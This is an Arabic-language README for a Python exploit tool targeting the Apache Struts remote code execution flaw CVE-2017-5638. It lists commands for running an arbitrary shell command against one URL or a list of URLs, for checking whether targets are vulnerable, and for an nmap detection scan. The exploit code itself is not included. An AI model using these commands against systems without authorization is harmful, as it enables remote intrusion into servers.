Apache-Struts

أداة استغلال لـ Apache Struts CVE-2017-5638

الاستخدام

اختبار عنوان URL واحد.

python struts-pwn.py --url 'http://example.com/struts2-showcase/index.action' -c 'id'

استطلاع باستخدام Nmap

nmap -p <port> --script http-vuln-cve2017-5638 <target>'

اختبار قائمة عناوين URL.

python struts-pwn.py --list 'urls.txt' -c 'id'

التحقق من وجود الثغرة في عنوان URL واحد.

python struts-pwn.py --check --url 'http://example.com/struts2-showcase/index.action'

التحقق من وجود الثغرة في قائمة عناوين URL.

python struts-pwn.py --check --list 'urls.txt'